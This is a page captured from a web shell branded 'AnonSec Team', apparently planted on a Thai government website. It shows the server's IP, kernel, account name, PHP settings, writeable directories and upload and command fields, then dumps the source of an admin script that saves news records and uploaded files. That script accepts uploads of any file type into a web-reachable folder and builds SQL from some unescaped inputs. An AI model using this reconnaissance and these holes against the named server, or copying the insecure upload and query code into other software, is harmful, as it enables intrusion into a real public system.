NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 18.217.111.22
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/domains/sumpatuan.go.th/private_html/admin/top/action/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/domains/sumpatuan.go.th/private_html/admin/top/action/save-NewsbookMain-adddata.php
<?php
require_once('session_backend_administrator.php');
header('Content-Type: text/html; charset=UTF-8');
date_default_timezone_set("Asia/Bangkok"); 
$datetime = date('d/m/Y H.i'); 

//// function Transparency BG
function setTransparency($new_image,$image_source){
    $transparencyIndex = imagecolortransparent($image_source);
    $transparencyColor = array('red' => 255, 'green' => 255, 'blue' => 255);
    if ($transparencyIndex >= 0) {
        $transparencyColor    = imagecolorsforindex($image_source, $transparencyIndex);    
    }
    $transparencyIndex    = imagecolorallocate($new_image, $transparencyColor['red'], $transparencyColor['green'], $transparencyColor['blue']);
    imagefill($new_image, 0, 0, $transparencyIndex);
    imagecolortransparent($new_image, $transparencyIndex);

} 
if($STT_login=="admin_login_true"){


    if(!isset($_POST['txt_name']) or !isset($_POST['txt_number']) or !isset($_POST['txt_date']) or !isset($_POST['txt_exp']) or !isset($_POST['txt_date']) or !isset($_POST['txt_namemb']) ){
        echo "<SCRIPT type='text/javascript'>
                alert('กรุณากรอกข้อมูลให้ครบ');
                window.location.replace(document.referrer);
            </SCRIPT>";
        exit;
    }else{

        $data_namenewsbook = trim($con_db_administrator->real_escape_string($_POST['txt_name']));
        $data_numbernewsbook = trim($con_db_administrator->real_escape_string($_POST['txt_number']));
        $data_datenewsbook = date("d/m/Y",strtotime($_POST['txt_date']));
        $data_expnewsbook = date("d/m/Y",strtotime($_POST['txt_exp']));
        $data_checkexpnewsbook = date("Ymd",strtotime($_POST['txt_exp']));

        //// txt_namemb
        $data_namembnewsbook = implode(", ", $_POST['txt_namemb']);
        // $data_namembnewsbook_array = explode(", ", $data_namembnewsbook );
        // echo $data_namembnewsbook;
        // echo "<br>";
        // print_r($data_namembnewsbook_array);
        // exit;
        
        $total_filedoc = count($_FILES['uploadFile']['name']);

        $data_sttnewsbook = $con_db_administrator->real_escape_string($_POST['statusshow']);
    
        //check date
        $now = date("Ymd");
        $date1 = date("Ymd",strtotime($_POST['txt_date']));
        $date2 = date("Ymd",strtotime($_POST['txt_exp']));
        if($date1 >= $date2){
            echo "<SCRIPT type='text/javascript'>
                    alert('แก้ไข วันที่ลง หรือ วันที่หมดอายุ ให้ถูกต้อง');
                    window.location.replace(document.referrer);
                </SCRIPT>";
            exit;
        }
        if($date2 <= $now){
            echo "<SCRIPT type='text/javascript'>
                    alert('กรอก วันที่หมดอายุ ให้ถูกต้อง');
                    window.location.replace(document.referrer);
                </SCRIPT>";
            exit;
        }

        $sql_check_number = " SELECT COUNT(`number_newsbook`) FROM `data_newsbook` WHERE `number_newsbook`='$data_numbernewsbook' ";
        $qr_check_number = mysqli_query($con_db_administrator, $sql_check_number) or trigger_error("sql_check_number", E_USER_ERROR);
        $r_check_number = mysqli_fetch_row($qr_check_number);
        $rs_check_number = $r_check_number[0]; 
        
        if($rs_check_number >= 1){
            echo "<SCRIPT type='text/javascript'>
                    alert('หมายเลขระบบ Back Office $data_numbernewsbook ซ้ำ');
                    window.location.replace(document.referrer);
                </SCRIPT>";
            exit;
        }else{

            $insert_newsbook = " INSERT INTO `data_newsbook`( `name_newsbook`, `number_newsbook`, `date_newsbook`, `exp_newsbook`, `checkexp_newsbook`, `namemb_newsbook`, `stt_newsbook`)
                                VALUES ( '$data_namenewsbook', '$data_numbernewsbook', '$data_datenewsbook', '$data_expnewsbook', '$data_checkexpnewsbook', '$data_namembnewsbook', '$data_sttnewsbook' ) ";     
            $action_newsbook = $con_db_administrator->query($insert_newsbook);
            if(!$action_newsbook){
                echo "<SCRIPT type='text/javascript'>
                        alert('เพิ่มข้อมูลไม่สำเร็จ กรุณาลองใหม่อีกครั้ง');
                        window.location.replace('../NewsbookMain');
                    </SCRIPT>";
                exit;

            }else{
                if( empty($_FILES['uploadFile']['name'][0]) ){
                    echo "<SCRIPT type='text/javascript'>
                            alert('เพิ่มข้อมูลใหม่ สำเร็จ [non-file]');
                            window.location.replace('../NewsbookMain');
                        </SCRIPT>";
                    exit;
                }else{
                    $sql_data = " SELECT `id_newsbook` FROM `data_newsbook` WHERE `name_newsbook`='$data_namenewsbook' AND `number_newsbook`='$data_numbernewsbook' ORDER BY `id_newsbook` DESC LIMIT 1 "; 
                    $qr_data = mysqli_query($con_db_administrator, $sql_data); 
                    $rs_data = mysqli_fetch_assoc($qr_data); 
                    $id_tbdata_filedoc = $rs_data['id_newsbook'];

                    if($id_tbdata_filedoc !="" or isset($id_tbdata_filedoc) ){
                        $dt_addfile = date('YmdHis'); 
                        for($i=0;$i<$total_filedoc;$i++){

                            $filedoc = $_FILES["uploadFile"]["tmp_name"][$i];
                            $oldname_filedoc = trim($_FILES['uploadFile']['name'][$i]);
                            $type_filedoc = pathinfo($_FILES['uploadFile']['name'][$i],PATHINFO_EXTENSION);
                            $newname_filedoc = "FILENB".$id_tbdata_filedoc."_".$dt_addfile."_".$i.".".$type_filedoc;
                            $keep_filedoc = "../../../doc/nb/";
                            $move_filedoc = $keep_filedoc.$newname_filedoc;
                            $path_filedoc = "doc/nb/".$newname_filedoc;
                            $width=1200;
                            if( exif_imagetype($filedoc) == IMAGETYPE_JPEG ) {
                                $size=GetimageSize($filedoc);
                                if($size[0]>=$width){
                                    $height=round($width*$size[1]/$size[0]);
                                    $filedoc_orig = ImageCreateFromJPEG($filedoc);
                                    $photoX = ImagesX($filedoc_orig);
                                    $photoY = ImagesY($filedoc_orig);
                                    $filedoc_fin = ImageCreateTrueColor($width, $height);
                                    setTransparency($filedoc_fin,$filedoc_orig);
                                    ImageCopyResampled($filedoc_fin, $filedoc_orig, 0, 0, 0, 0, $width+1, $height+1, $photoX, $photoY);
                                    ImageJPEG($filedoc_fin, $move_filedoc);
                                    ImageDestroy($filedoc_orig);
                                    ImageDestroy($filedoc_fin);
                                }else{
                                    move_uploaded_file($_FILES['uploadFile']['tmp_name'][$i],$move_filedoc); 
                                }
                            }elseif( exif_imagetype($filedoc) == IMAGETYPE_PNG ){
                                $size=GetimageSize($filedoc);
                                if($size[0]>=$width){
                                    $height=round($width*$size[1]/$size[0]);
                                    $filedoc_orig = ImageCreateFromPNG($filedoc);
                                    $photoX = ImagesX($filedoc_orig);
                                    $photoY = ImagesY($filedoc_orig);
                                    $filedoc_fin = ImageCreateTrueColor($width, $height);
                                    setTransparency($filedoc_fin,$filedoc_orig);
                                    ImageCopyResampled($filedoc_fin, $filedoc_orig, 0, 0, 0, 0, $width+1, $height+1, $photoX, $photoY);
                                    imagepng($filedoc_fin, $move_filedoc);
                                    ImageDestroy($filedoc_orig);
                                    ImageDestroy($filedoc_fin);
                                }else{
                                    move_uploaded_file($_FILES['uploadFile']['tmp_name'][$i],$move_filedoc); 
                                }
                            }elseif( exif_imagetype($filedoc) == IMAGETYPE_GIF ){
                                $size=GetimageSize($filedoc);
                                if($size[0]>=$width){
                                    $height=round($width*$size[1]/$size[0]);
                                    $filedoc_orig = ImageCreateFromGIF($filedoc);
                                    $photoX = ImagesX($filedoc_orig);
                                    $photoY = ImagesY($filedoc_orig);
                                    $filedoc_fin = ImageCreateTrueColor($width, $height);
                                    setTransparency($filedoc_fin,$filedoc_orig);
                                    ImageCopyResampled($filedoc_fin, $filedoc_orig, 0, 0, 0, 0, $width+1, $height+1, $photoX, $photoY);
                                    imagegif($filedoc_fin,$move_filedoc);
                                    ImageDestroy($filedoc_orig);
                                    ImageDestroy($filedoc_fin);
                                }else{
                                    move_uploaded_file($_FILES['uploadFile']['tmp_name'][$i],$move_filedoc); 
                                }
                            }else{
                                move_uploaded_file($_FILES['uploadFile']['tmp_name'][$i],$move_filedoc); 
                            }
        
                            $insert_filedoc = " INSERT INTO `data_filedoc_newsbook`(`name_filedoc_newsbook`, `type_filedoc_newsbook`, `path_filedoc_newsbook`, `id_tbdata_filedoc_newsbook` )
                                                VALUES ('$oldname_filedoc', '$type_filedoc', '$path_filedoc', '$id_tbdata_filedoc'  ) ";      
                            $action_filedoc = $con_db_administrator->query($insert_filedoc);
                            if(!$action_filedoc){
                                echo "<SCRIPT type='text/javascript'>
                                        alert('เพิ่มข้อมูลไม่สำเร็จ กรุณาลองใหม่อีกครั้ง [insert_filedoc]');
                                        window.location.replace('../NewsbookMain');
                                    </SCRIPT>";
                                exit;
                            }
                         }

                        echo "<SCRIPT type='text/javascript'>
                                alert('เพิ่มข้อมูลใหม่ สำเร็จ');
                                window.location.replace('../NewsbookMain');
                            </SCRIPT>";
                        exit;

                        
                    }else{
                        echo "<SCRIPT type='text/javascript'>
                                alert('เพิ่มข้อมูลไม่สำเร็จ กรุณาลองใหม่อีกครั้ง [2]');
                                window.location.replace('../NewsbookMain');
                            </SCRIPT>";
                        exit;
                    }
                }

            }
        }
            
    }

}else{
    echo "<SCRIPT type='text/javascript'>
        alert('กรุณาเข้าสู่ระบบ');
        window.location.replace('../../index');
    </SCRIPT>";
    exit;
}
mysqli_close($con_db_administrator);
?>

Anon7 - 2022
AnonSec Team